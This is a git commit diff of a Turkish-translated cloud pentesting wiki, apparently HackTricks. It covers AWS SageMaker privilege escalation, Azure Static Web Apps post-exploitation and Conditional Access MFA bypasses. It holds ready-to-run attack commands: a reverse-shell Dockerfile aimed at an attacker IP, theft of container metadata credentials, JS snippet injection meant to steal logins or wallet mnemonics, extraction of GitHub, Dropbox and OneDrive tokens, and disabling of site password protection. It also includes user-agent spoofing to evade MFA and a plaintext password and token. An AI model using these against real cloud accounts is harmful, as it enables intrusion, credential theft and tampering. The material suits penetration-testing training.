Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:01 +00:00
parent dfcb967c46
commit 46fa8338cf
5 changed files with 300 additions and 29 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -6,13 +6,13 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
Bağlı olduğu IAM Rolü ile bir not defteri oluşturmaya başlayın:
IAM Rolü ile ilişkilendirilmiş bir not defteri oluşturmaya başlayın:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
Yanıt, yeni oluşturulan defter örneğinin ARN'sini içerecek `NotebookInstanceArn` alanını içermelidir. Ardından, defter örneğine erişmek için hazır olduğunda kullanabileceğimiz bir URL oluşturmak için `create-presigned-notebook-instance-url` API'sini kullanabiliriz:
Yanıt, yeni oluşturulan not defteri örneğinin ARN'sini içerecek olan `NotebookInstanceArn` alanını içermelidir. Ardından, not defteri örneğine erişmek için hazır olduğunda kullanabileceğimiz bir URL oluşturmak için `create-presigned-notebook-instance-url` API'sini kullanabiliriz:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
@@ -21,7 +21,7 @@ Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`\` butonuna tık
Artık IAM Rolünün metadata kimlik bilgilerine erişmek mümkündür.
**Olası Etki:** Belirtilen sagemaker hizmet rolüne privesc.
**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -29,11 +29,11 @@ Eğer üzerinde Jupyter **notebook'ları zaten çalışıyorsa** ve bunları `sa
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Olası Etki:** Sagemaker hizmet rolüne privesc.
**Potansiyel Etki:** Sagemaker hizmet rolüne privesc.
### `sagemaker:CreateProcessingJob,iam:PassRole`
Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** yürütmesini sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetilen ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**.
Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** çalıştırmasını sağlayabilir. Saldırgan, **AWS yönetimli ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ilişkili IAM rolünün kimlik bilgilerini çalabilir**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -57,7 +57,7 @@ Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilecek, **üzerinde
> ```bash
> # Docker görüntüsü oluştur
> mkdir /tmp/rev
> ## Eğitim işi "train" adlı bir çalıştırılabilir dosyayı çağıracak
> ## Eğitim işinin "train" adlı bir çalıştırılabilir dosyayı çağıracağını unutmayın
> ## Bu yüzden rev shell'i /bin/train içine koyuyorum
> ## <YOUR-IP-OR-DOMAIN> ve <YOUR-PORT> değerlerini ayarlayın
> cat > /tmp/rev/Dockerfile <<EOF
@@ -94,8 +94,8 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Bu izinlere sahip bir saldırgan, **bir hyperparameter eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, **üzerinde rastgele bir konteyner** çalıştırarak ona **bir rol ekleyerek**.\
&#xNAN;_&#x49; zaman eksikliği nedeniyle istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._
Bu izinlere sahip bir saldırgan, **bir hiperparametre eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak ve bunun üzerinde **bağlı bir rol ile** **rastgele bir konteyner** çalıştırabilecektir.\
_Zaman eksikliğinden dolayı bunu istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._
## Referanslar

View File

@@ -0,0 +1,162 @@
# Az - Statik Web Uygulamaları Sonrası Sömürü
{{#include ../../../banners/hacktricks-training.md}}
## Azure Statik Web Uygulamaları
Bu hizmet hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Bir snippet oluşturarak statik bir web sayfasının rastgele HTML kodu yüklemesi mümkündür. Bu, bir saldırganın web uygulaması içine JS kodu enjekte etmesine ve kimlik bilgileri veya mnemonik anahtarlar gibi hassas bilgileri çalmasına olanak tanıyabilir (web3 cüzdanlarında).
Aşağıdaki komut, web uygulaması tarafından her zaman yüklenecek bir snippet oluşturur::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma
App Service bölümünde açıklandığı gibi:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Aşağıdaki komutu çalıştırarak, mevcut hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini** okumak mümkündür. Örneğin, bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, farklı bir kullanıcıdan token'a erişim sağlayamayacağınızı unutmayın.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Bu komut, Github, Bitbucket, Dropbox ve OneDrive için token'lar döndürür.
İşte token'ları kontrol etmek için bazı komut örnekleri:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Dosyayı Üzerine Yaz - Yolları, HTML, JS...
Azure üzerinden **Github token** kullanarak uygulamayı içeren Github reposundaki bir dosyayı **üzerine yazmak** mümkündür. Aşağıdaki gibi bir istek göndererek dosyanın üzerine yazılacak yolu, dosyanın içeriğini ve commit mesajını belirtebilirsiniz.
Bu, saldırganlar tarafından temelde **web uygulamasının içeriğini değiştirmek** (kimlik bilgilerini çalmak, mnemonic anahtarlar...) veya sadece belirli yolları kendi sunucularına **yönlendirmek** için `staticwebapp.config.json` dosyasını üzerine yazarak kötüye kullanılabilir.
> [!WARNING]
> Bir saldırganın Github reposunu herhangi bir şekilde ele geçirmeyi başarması durumunda, dosyayı doğrudan Github üzerinden de üzerine yazabileceğini unutmayın.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Bu izinle, bir statik web uygulamasını koruyan **şifreyi değiştirmek** veya aşağıdaki gibi bir istek göndererek her ortamı korumasız hale getirmek mümkündür:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Bu izin, statik uygulama için **API anahtarı dağıtım jetonunu** almayı sağlar.
Bu jeton, uygulamanın dağıtımına olanak tanır.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Sonra, bir uygulamayı güncellemek için aşağıdaki komutu çalıştırabilirsiniz. Bu komutun, **Github Action'ın [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) nasıl çalıştığını kontrol ederek çıkarıldığını** unutmayın, çünkü bu Azure tarafından varsayılan olarak kullanılmak üzere ayarlanmıştır. Bu nedenle, görüntü ve ayarlar gelecekte değişebilir.
1. Repo'yu indirin [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (veya dağıtmak istediğiniz başka bir repo) ve `cd react-basic` komutunu çalıştırın.
2. Dağıtmak istediğiniz kodu değiştirin
3. Aşağıdaki komutu çalıştırarak dağıtın ( `<api-token>`'i değiştirmeyi unutmayın):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Bu izinle, **statik web uygulamasının kaynağını farklı bir Github deposuna değiştirmek** mümkündür, ancak bu otomatik olarak sağlanmayacaktır çünkü bu genellikle işlemi yetkilendiren token ile bir Github Action'dan yapılmalıdır; bu token, deponun Github gizliliklerinde otomatik olarak güncellenmez (uygulama oluşturulduğunda otomatik olarak eklenir).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Bu izinle, **statik web uygulamasının API anahtarını sıfırlamak** mümkün olup, bu durum uygulamayı otomatik olarak dağıtan iş akışlarını potansiyel olarak DoS saldırısına maruz bırakabilir.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Temel Bilgiler
Azure Koşullu Erişim politikaları, belirli **koşullara** dayalı olarak Azure hizmetlerine ve uygulamalarına erişim kontrollerini uygulamak için Microsoft Azure'da kurulan kurallardır. Bu politikalar, organizasyonların kaynaklarını doğru koşullar altında doğru erişim kontrollerini uygulayarak güvence altına almasına yardımcı olur.\
Azure Koşullu Erişim politikaları, belirli **koşullara** dayalı olarak Azure hizmetlerine ve uygulamalarına erişim kontrollerini uygulamak için Microsoft Azure'da kurulan kurallardır. Bu politikalar, organizasyonların doğru koşullar altında doğru erişim kontrollerini uygulayarak kaynaklarını güvence altına almasına yardımcı olur.\
Koşullu erişim politikaları esasen **Kim**'in **Neyi** **Nereden** ve **Nasıl** erişebileceğini **tanımlar**.
İşte birkaç örnek:
@@ -12,39 +12,39 @@ Koşullu erişim politikaları esasen **Kim**'in **Neyi** **Nereden** ve **Nası
1. **Oturum Açma Risk Politikası**: Bu politika, bir oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının oturum açma davranışı, farklı bir ülkeden oturum açmak gibi, normal desenine kıyasla alışılmadık olduğunda, sistem ek kimlik doğrulama talep edebilir.
2. **Cihaz Uygunluk Politikası**: Bu politika, yalnızca organizasyonun güvenlik standartlarına uygun cihazların Azure hizmetlerine erişimini kısıtlayabilir. Örneğin, yalnızca güncel antivirüs yazılımına sahip veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan erişime izin verilebilir.
## Koşullu Erişim Politikası Atlatmaları
## Koşullu Erişim Politikaları Atlatmaları
Bir koşullu erişim politikasının **kolayca manipüle edilebilecek bazı bilgileri kontrol etmesi mümkündür, bu da politikanın atlatılmasına olanak tanır**. Örneğin, politika MFA'yı yapılandırıyorsa, saldırgan bunu atlatabilecektir.
Bir koşullu erişim politikasının **kolayca manipüle edilebilecek bazı bilgileri kontrol etmesi mümkündür, bu da politikanın atlatılmasına olanak tanır**. Örneğin, politika MFA yapılandırıyorsa, saldırgan bunu atlatabilecektir.
Bir koşullu erişim politikası yapılandırırken, etkilenen **kullanıcıları** ve **hedef kaynakları** (tüm bulut uygulamaları gibi) belirtmek gerekir.
Ayrıca, politikayı **tetikleyecek** **koşulları** yapılandırmak da gereklidir:
Ayrıca, politikayı **tetikleyen** **koşulları** yapılandırmak da gereklidir:
- **Ağ**: IP, IP aralıkları ve coğrafi konumlar
- Bir VPN veya Proxy kullanarak bir ülkeye bağlanarak veya izin verilen bir IP adresinden oturum açarak atlatılabilir
- **Microsoft riskleri**: Kullanıcı riski, Oturum açma riski, İçeriden gelen risk
- **Cihaz platformları**: Herhangi bir cihaz veya Android, iOS, Windows Phone, Windows, macOS, Linux'u seçin
- “Herhangi bir cihaz” seçilmediyse ancak diğer tüm seçenekler seçildiyse, bu platformlarla ilgili olmayan rastgele bir kullanıcı aracısı kullanarak atlatmak mümkündür
- “Herhangi bir cihaz” seçilmediyse ancak diğer tüm seçenekler seçildiyse, bu platformlarla ilgili olmayan rastgele bir kullanıcı aracını kullanarak atlatmak mümkündür
- **İstemci uygulamaları**: Seçenekler “Tarayıcı”, “Mobil uygulamalar ve masaüstü istemcileri”, “Exchange ActiveSync istemcileri” ve “Diğer istemciler”
- Seçilmeyen bir seçenekle oturum açmayı atlatmak için
- **Cihazlar için filtre**: Kullanılan cihaza ilişkin bir kural oluşturmak mümkündür
- **Kimlik doğrulama akışları**: Seçenekler “Cihaz kodu akışı” ve “Kimlik doğrulama transferi”
- Bu, bir saldırganı etkilemeyecektir, yalnızca bu protokolleri bir oltalama girişiminde kurbanın hesabına erişmek için kötüye kullanmaya çalışıyorsa
Olası **sonuçlar**: Erişimi engelle veya MFA gerektirmek, cihazın uygun olmasını sağlamak gibi potansiyel koşullarla erişim izni ver.
Olası **sonuçlar**: Erişimi engelle veya MFA gerektirme, cihazın uygun olmasını sağlama gibi potansiyel koşullarla erişim izni ver.
### Cihaz Platformları - Cihaz Koşulu
**Cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul ayarlamak mümkündür, ancak bu **kullanıcı aracısına** dayandığı için atlatmak kolaydır. Tüm seçenekleri MFA'yı zorlamak için ayarlasanız bile, **tanınmayan bir kullanıcı aracısı** kullanırsanız, MFA'yı veya engellemeyi atlatabilirsiniz:
**Cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul ayarlamak mümkündür, ancak bu **kullanıcı aracına** dayandığı için atlatmak kolaydır. Tüm seçenekleri MFA'yı zorlamak için ayarlasanız bile, **tanınmayan bir kullanıcı aracı** kullanırsanız, MFA'yı veya engellemeyi atlatabilirsiniz:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Tarayıcının **bilinmeyen bir kullanıcı aracısı göndermesini sağlamak** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\
Geliştirici araçlarında kullanıcı aracısını **manuel olarak** değiştirebilirsiniz:
Tarayıcının **bilinmeyen bir kullanıcı aracını göndermesini sağlamak** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\
Kullanıcı aracını **manuel olarak** geliştirici araçlarında değiştirebilirsiniz:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;Ya da [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz.
Veya [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz.
### Konumlar: Ülkeler, IP aralıkları - Cihaz Koşulu
@@ -52,14 +52,14 @@ Bu koşullu politikada ayarlanmışsa, bir saldırgan sadece **izin verilen ülk
### Bulut Uygulamaları
Bir kullanıcı **belirli bir uygulamaya** erişmeye çalıştığında, örneğin MFA'yı engellemek veya zorlamak için **koşullu erişim politikaları** yapılandırmak mümkündür:
Bir kullanıcı belirli bir **uygulamaya** erişmeye çalıştığında, **koşullu erişim politikalarını engellemek veya zorlamak** (örneğin MFA) mümkündür:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Bu korumayı atlatmaya çalışmak için, **sadece herhangi bir uygulamaya** erişip erişemeyeceğinizi kontrol etmelisiniz.\
[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **kodu yazılmış onlarca uygulama kimliği** içerir ve bunlara giriş yapmaya çalışır, başarılı olursa size bildirir ve hatta token'ı verir.
Bu korumayı atlatmaya çalışmak için, yalnızca herhangi bir uygulamaya **giriş yapıp yapamayacağınıza** bakmalısınız.\
[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **hardcoded** olarak **onlarca uygulama kimliği** içerir ve bunlara giriş yapmaya çalışır, başarılı olursa size token bile verir.
**Belirli kaynaklarda belirli uygulama kimliklerini test etmek** için ayrıca şu aracı kullanabilirsiniz:
Belirli kaynaklarda **belirli uygulama kimliklerini test etmek** için ayrıca şu aracı kullanabilirsiniz:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
@@ -75,10 +75,10 @@ Araç [**ROPCI**](https://github.com/wunderwuzzi23/ropci) bu korumaları test et
### Zil sesi
Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcıdan **`#` karakterini göndermesini istemektir**.
Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcının **`#` karakterini göndermesi** istenecektir.
> [!CAUTION]
> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını** **tehdit edebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul** olmasını sağlamak için (aramak) Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir.
> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını** **tehdit edebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul** olduğundan emin olabilir (aramak) böylece Azure çağrısı sesli mesaja yönlendirilir.
### Uyumlu Cihazlar
@@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Aşağıdaki sayfada bu tür bir saldırı hakkında daha fazla bilgi bulun:
Aşağıdaki sayfada bu tür bir saldırı hakkında daha fazla bilgi bulabilirsiniz:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -135,25 +135,25 @@ Bu araç, MFA atlatmalarını tanımlamaya ve ardından birden fazla üretim AAD
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token, Conditional Access Policies'i doğrulamak, 2FA etkin Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir.
Donkey token, Conditional Access Policies'ı doğrulamak, 2FA etkinleştirilmiş Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Her portali test edin** eğer **MFA olmadan giriş yapmak** mümkünse:
**Her portali test edin** eğer **MFA olmadan giriş yapmak mümkünse**:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Çünkü **Azure** **portalı** **sınırlı değil**, önceki yürütme tarafından tespit edilen herhangi bir hizmete erişmek için portal uç noktasından **bir token toplamak** mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir token talep ediliyor:
Çünkü **Azure** **portalı** **kısıtlanmamıştır**, önceki yürütme tarafından tespit edilen herhangi bir hizmete erişmek için portal uç noktasından **bir token toplamak** mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir token talep ediliyor:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Token'un Sites.Read.All (Sharepoint'tan) iznine sahip olduğunu varsayarsak, MFA nedeniyle web üzerinden Sharepoint'e erişemeseniz bile, oluşturulan token ile dosyalara erişmek için token'u kullanmak mümkündür:
Token'un Sites.Read.All (Sharepoint'tan) iznine sahip olduğunu varsayarsak, MFA nedeniyle web üzerinden Sharepoint'e erişemeseniz bile, oluşturulan token ile dosyalara erişmek mümkündür:
```powershell
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,109 @@
# Az - Statik Web Uygulamaları
{{#include ../../../banners/hacktricks-training.md}}
## Statik Web Uygulamaları Temel Bilgiler
Azure Statik Web Uygulamaları, **GitHub gibi depolardan otomatik CI/CD ile statik web uygulamaları barındırmak için bir bulut hizmetidir**. Küresel içerik dağıtımı, sunucusuz arka uçlar ve yerleşik HTTPS sunarak güvenli ve ölçeklenebilir hale getirir. Ancak, yanlış yapılandırılmış CORS, yetersiz kimlik doğrulama ve içerik değiştirme gibi riskler, uygun şekilde yönetilmezse uygulamaları XSS ve veri sızıntısı gibi saldırılara maruz bırakabilir.
> [!TIP]
> Bir Statik Uygulama oluşturulduğunda, **Dağıtım yetkilendirme politikası** olarak **Dağıtım token'ı** ve **GitHub Actions iş akışı** arasında seçim yapabilirsiniz.
### Web Uygulaması Kimlik Doğrulaması
Web Uygulamasına erişmek için **bir şifre yapılandırmak** mümkündür. Web konsolu, yalnızca test ortamlarını veya hem test hem de üretim ortamını korumak için yapılandırılmasına olanak tanır.
Yazma anında şifre korumalı bir web uygulaması şu şekilde görünmektedir:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
**Herhangi bir şifrenin kullanılıp kullanılmadığını** ve hangi ortamların korunduğunu görmek mümkündür:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
Ancak, bu **şifreyi düz metin olarak göstermez**, sadece şöyle bir şey gösterir: `"password": "**********************"`.
### Rotalar
Rotalar, **gelen HTTP isteklerinin nasıl işleneceğini** tanımlar. **`staticwebapp.config.json`** dosyasında yapılandırılan bu rotalar, URL yeniden yazma, yönlendirmeler, erişim kısıtlamaları ve rol tabanlı yetkilendirme gibi işlemleri kontrol ederek, kaynakların doğru bir şekilde işlenmesini ve güvenliğini sağlar.
Bazı örnek:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## Enumeration
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Web Uygulamaları Oluşturma Örnekleri
Aşağıdaki bağlantıda bir web uygulaması oluşturmak için güzel bir örnek bulabilirsiniz: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. https://github.com/staticwebdev/react-basic/generate deposunu GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin.
2. Azure portalında, Github erişimini yapılandırarak ve daha önce fork edilen yeni depoyu seçerek bir Static Web App oluşturun.
3. Oluşturun, birkaç dakika bekleyin ve yeni sayfanızı kontrol edin!
## Post Exploitation
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## Referanslar
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}